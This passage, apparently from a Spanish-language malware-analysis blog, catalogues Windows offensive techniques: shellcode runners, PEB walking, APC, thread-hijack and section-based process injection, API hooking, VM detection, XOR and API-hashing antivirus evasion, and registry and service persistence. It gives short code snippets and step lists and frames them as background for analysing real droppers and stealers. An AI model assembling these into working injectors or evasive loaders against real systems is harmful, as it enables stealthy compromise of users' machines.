                    hResult = Process32Next(hSnapshot, &pe);
                }
                CloseHandle(hSnapshot);
                return pid;
            }

22. Windows Shellcoding 1

Patrón fundamental de ejecución de shellcode mediante punteros a función. Este es exactamente el mecanismo que usamos en el dropper original:

char code[] = "my shellcode here";
            int main(int argc, char **argv) {
                int (*func)();
                func = (int(*)()) code;
                (int)(*func)();
                return 1;
            }

Se incluye un script auxiliar en Python para revertir strings y convertirlos a hexadecimal en formato little-endian, necesario para construir la shellcode.

import sys
            input = sys.argv[1]
            chunks = [input[i:i+4] for i in range(0, len(input), 4)]
            for chunk in chunks[::-1]:
                print(chunk[::-1].encode("utf-8").hex())

23. Windows Shellcoding 2 — PEB y TEB

Cada vez que ejecutamos cualquier archivo .exe, lo primero que se crea en el sistema operativo son las estructuras PEB (Process Environment Block) y TEB (Thread Environment Block). El PEB contiene información necesaria para el funcionamiento del proceso, mientras que cada hilo tiene su propio TEB.

Cuando escribimos en ASM, podemos recorrer la estructura PEB → LDR y encontrar la dirección de kernel32.dll para cargarla en nuestro shellcode sin usar GetModuleHandle:

; Encontrar kernel32.dll via PEB
            mov eax, [fs:ecx + 0x30]  ; Desplazamiento a PEB
            mov eax, [eax + 0xc]   ; Desplazamiento a LDR
            mov eax, [eax + 0x14]  ; InMemoryOrderModuleList
            mov eax, [eax]         ; 1er módulo (nuestro .exe)
            mov eax, [eax]         ; 2do módulo (ntdll.dll)
            mov eax, [eax + 0x10]  ; 3er módulo (kernel32.dll)

24. Windows Shellcoding 3 — PE File Structure

Un archivo PE es el formato nativo de Win32, análogo a los COFF de Unix. Su estructura incluye:

25. APC Injection Technique (Early Bird)

La técnica Early Bird aprovecha QueueUserAPC para poner en cola un APC (Asynchronous Procedure Call) en un hilo específico. La descripción de alto nivel es:

  1. Crear un proceso legítimo con el flag CREATE_SUSPENDED.
  2. Asignar memoria para la carga útil en el espacio del nuevo proceso.
  3. Declarar la rutina APC que apunta al código shellcode.
  4. Reanudar el hilo principal para que ejecute el APC antes de comenzar su ejecución normal.

APC Injection via NtTestAlert

NtTestAlert es una syscall no documentada que comprueba si hay APC pendientes en el hilo actual y los ejecuta. Antes de que cualquier hilo comience a ejecutarse, su dirección de inicio Win32 llama a NtTestAlert para ejecutar cualquier APC pendiente. Podemos aprovechar esto para desencadenar la ejecución de nuestra carga útil sin necesidad de un hilo remoto en otro proceso.

APC Injection via Alertable Threads

Esta variante encuentra todos los subprocesos del proceso destino y pone en cola un APC a todos ellos, maximizando la probabilidad de ejecución.

26. Code Injection via Thread Hijacking

El secuestro de un proceso se logra suspendiendo un proceso existente y luego desasignando o vaciando su memoria, que luego se puede reemplazar con código malicioso. Los pasos clave son:

  1. Crear un identificador para un proceso víctima existente.
  2. Suspender el proceso con SuspendThread.
  3. Obtener el contexto del hilo con GetThreadContext (incluye el registro de instrucciones RIP).
  4. Modificar ct.Rip = (DWORD_PTR)rb para que apunte a nuestra shellcode.
  5. Establecer el contexto modificado con SetThreadContext.
  6. Reanudar el hilo con ResumeThread.

27. Classic DLL Injection via SetWindowsHookEx

SetWindowsHookEx permite instalar hooks de sistema global. Al configurar un hook de teclado global (WH_KEYBOARD) y especificar una función callback que reside en nuestra DLL maliciosa, obligamos al sistema a cargar la DLL en el espacio de direcciones de los procesos que reciben mensajes de teclado. Los sistemas modernos bloquean esta técnica usando CFG (Control Flow Guard) y CIG (Code Integrity Guard).

// DLL exportada
            extern "C" __declspec(dllexport) int Meow() {
                MessageBox(NULL,
                    (LPCWSTR)L"Meow meow",
                    (LPCWSTR)L"=^..^=", MB_OK);
                return 0;
            }
             
            // Configuración del hook global
            HHOOK hook = SetWindowsHookEx(WH_KEYBOARD,
                (HOOKPROC)meowFunc, meowDll, 0);

28. Code Injection via Windows Fibers

Windows Fibers es una API que permite crear hilos de ejecución ligeros. Son más eficientes que los hilos del sistema pero menos seguros al no estar protegidos con las características de los hilos del sistema. La técnica consiste en:

  1. Convertir el hilo actual en un Fiber con ConvertThreadToFiber(NULL).
  2. Asignar memoria para el código malicioso con VirtualAlloc.
  3. Crear una nueva Fiber con CreateFiber apuntando al código.
  4. Cambiar el contexto de ejecución con SwitchToFiber.

29. Windows API Hooking

El API hooking es una técnica mediante la cual interceptamos y modificamos el comportamiento de las llamadas a la API. Consiste en reemplazar los primeros 5 bytes de la función original con una instrucción JMP relativo (\xE9) que redirige a nuestra función personalizada. Debemos almacenar los bytes originales para poder restaurar la función cuando sea necesario.

Un segundo método utiliza push + ret (\x68 + dirección + \xC3) para redirigir la ejecución a nuestra función, en lugar del salto relativo.

30. DLL Injection via Undocumented NtCreateThreadEx

Esta técnica utiliza la función no documentada NtCreateThreadEx de ntdll.dll, que permite indicar el tamaño de la pila y otras flags de creación dándole más flexibilidad que CreateRemoteThread. Al no estar documentada y no exportarse de la biblioteca de importación de kernel32.dll, es más sigilosa que las técnicas tradicionales.

31. Code Injection via Memory Sections (NtCreateSection)

Una sección es un bloque de memoria que se comparte entre procesos, creado mediante la API NtCreateSection. La técnica implica:

  1. Crear una sección de memoria compartida con NtCreateSection.
  2. Mapear la sección en el proceso local con NtMapViewOfSection.
  3. Mapear la misma sección en el proceso objetivo (solo lectura).
  4. Copiar el payload en la sección local (se refleja en la remota).
  5. Crear un hilo remoto con RtlCreateUserThread.
  6. Desmapear con ZwUnmapViewOfSection.

32. Code Injection via ZwQueueApcThread

Similar a la técnica APC estándar pero usando ZwQueueApcThread en lugar de QueueUserAPC. Combina la creación de secciones de memoria compartida con ZwCreateSection y el encolado de APC usando la función nativa de ntdll.dll. Se utiliza ZwSetInformationThread con THREADINFOCLASS 1 para forzar que el hilo se vuelva alertable.

33. Process Injection via KernelCallbackTable

KernelCallbackTable es una tabla de punteros a funciones que se utiliza para registrar controladores de eventos del kernel. Al inyectar código en esta tabla, un atacante puede reemplazar un controlador de eventos existente por uno propio. Cuando se produce el evento, se llamará al controlador malicioso, permitiendo ejecutar código arbitrario en el contexto del proceso objetivo.

34. Process Injection via RWX Memory Hunting

Esta técnica busca regiones de memoria con permisos RWX (Read-Write-Execute) en el espacio de memoria del proceso objetivo usando VirtualQueryEx. Una vez encontrada una región RWX, escribe directamente la shellcode allí y crea un hilo remoto. Esto evita la necesidad de llamar a VirtualAllocEx, reduciendo la huella de llamadas sospechosas.

35. Process Injection via FindWindow

Utiliza FindWindow para localizar el identificador de ventana (HWND) del proceso objetivo. Luego de obtener el HWND, se usa GetWindowThreadProcessId para obtener el PID y proceder con la inyección estándar.

VM Evasion via FindWindow

Variante de evasión de máquinas virtuales que busca ventanas específicas de VirtualBox (VBoxTrayToolWndClass, VBoxTrayToolWnd) para detectar si se está ejecutando en un entorno virtualizado y condicionar la ejecución del payload.

36. Download and Inject Logic

Técnica para descargar carga útil o DLL maliciosa desde una URL usando HTTP (WinInet). El beneficio es que se puede usar detrás de redes que filtran todo tráfico excepto HTTP, e incluso puede funcionar a través de un proxy preconfigurado.

El flujo es: abrir sesión HTTP con InternetOpen, descargar el archivo con InternetOpenUrl e InternetReadFile, guardarlo localmente con CreateFile/WriteFile, y luego inyectarlo usando la técnica clásica de DLL injection.

37. Run Shellcode via EnumDesktopsA / EnumChildWindows

Estas técnicas aprovechan funciones de enumeración de la API de Windows que aceptan un callback como parámetro. Al pasar la dirección de nuestra shellcode como función de callback, el sistema la ejecutará en el contexto del proceso actual:

38. AV Engines Evasion: XOR Encryption

La técnica de evasión usando XOR para cifrar/descifrar aplica una operación XOR byte a byte entre la shellcode y una clave secreta. El proceso es:

  1. Cifrado: Se toma la shellcode (arreglo de opcodes), se selecciona una clave aleatoria, y se aplica XOR bit a bit a cada byte.
  2. Descifrado en tiempo de ejecución: Se aplica la misma clave XOR al arreglo cifrado antes de copiarlo a memoria ejecutable.
void XOR(char* data, size_t data_len,
                char* key, size_t key_len) {
                int j = 0;
                for (int i = 0; i < data_len; i++) {
                    if (j == key_len - 1) j = 0;
                    data[i] = data[i] ^ key[j];
                    j++;
                }
            }

Se incluye un script en Python para automatizar el proceso: cifrar la shellcode, reemplazar el placeholder en la plantilla C++, y compilar con MinGW.

39. Hiding Function Calls with XOR Encryption

Esta técnica aplica XOR al nombre de funciones API como VirtualAlloc para que no aparezcan como strings legibles en el binario. En tiempo de ejecución, se descifra el nombre, se obtiene la dirección con GetProcAddress, y se asigna a un puntero de función para su uso.

40. API Hashing for AV Evasion

El hashing de funciones API implica convertir el nombre de la función en un valor hash único y usar ese hash en lugar del nombre real. El procedimiento es:

  1. Cargar la DLL con LoadLibrary.
  2. Recorrer la tabla de exportación de la DLL.
  3. Calcular el hash de cada nombre de función exportada.
  4. Comparar con el hash pre-calculado de la función deseada.
  5. Si coincide, obtener la dirección de la función y usarla.

Esto evita que strings como "VirtualAlloc" o "CreateThread" aparezcan en el binario, eludiendo firmas estáticas.

41. Persistence Techniques

Registry Run Keys

Modificar las claves de ejecución del registro para que el código malicioso se ejecute automáticamente al iniciar el sistema o al iniciar sesión el usuario:

Screensaver Hijack

Reemplazar el salvapantallas legítimo por uno malicioso modificando las claves de registro:

COM DLL Hijack

Sustituir una DLL legítima de un objeto COM por una maliciosa. La clave de registro para un objeto COM específico se encuentra en:

Windows Services

Los servicios de Windows se ejecutan en segundo plano sin interfaz gráfica. La persistencia se logra creando un nuevo servicio con inicio automático o modificando un servicio existente para que apunte a un binario malicioso.

AppInit_DLLs

La clave AppInit_DLLs permite especificar una lista de DLLs que se cargarán automáticamente en el espacio de direcciones de casi todas las aplicaciones cuando se inician. Requiere altos privilegios.

Netsh Helper DLL

Netsh puede cargar DLLs auxiliares. Al registrar una DLL maliciosa como helper de Netsh, esta se cargará cada vez que se ejecute la herramienta. La DLL debe exportar la función InitHelperDll.

Winlogon

Modificar las claves de Winlogon para ejecutar código malicioso al iniciar sesión:

Port Monitors

Los monitores de puerto del servicio de cola de impresión (spoolsv.exe) pueden ser reemplazados por una DLL maliciosa que se cargará en el contexto de este servicio del sistema. La clave de registro es:

/¿Querés ver estas técnicas aplicadas en un caso real?

Las técnicas de inyección, API Hashing y persistencia documentadas aquí son las mismas que enfrenté al analizar el dropper multi-etapa con analystty y al deconstruir campañas reales de NetSupport RAT y Lumma Stealer.

analystty: Triage Automatizado → Threat Hunter Recollection → Infraestructura de Laboratorio →

Continuidad. Y la otra cara: como se pierde la firma sin cambiar la logica.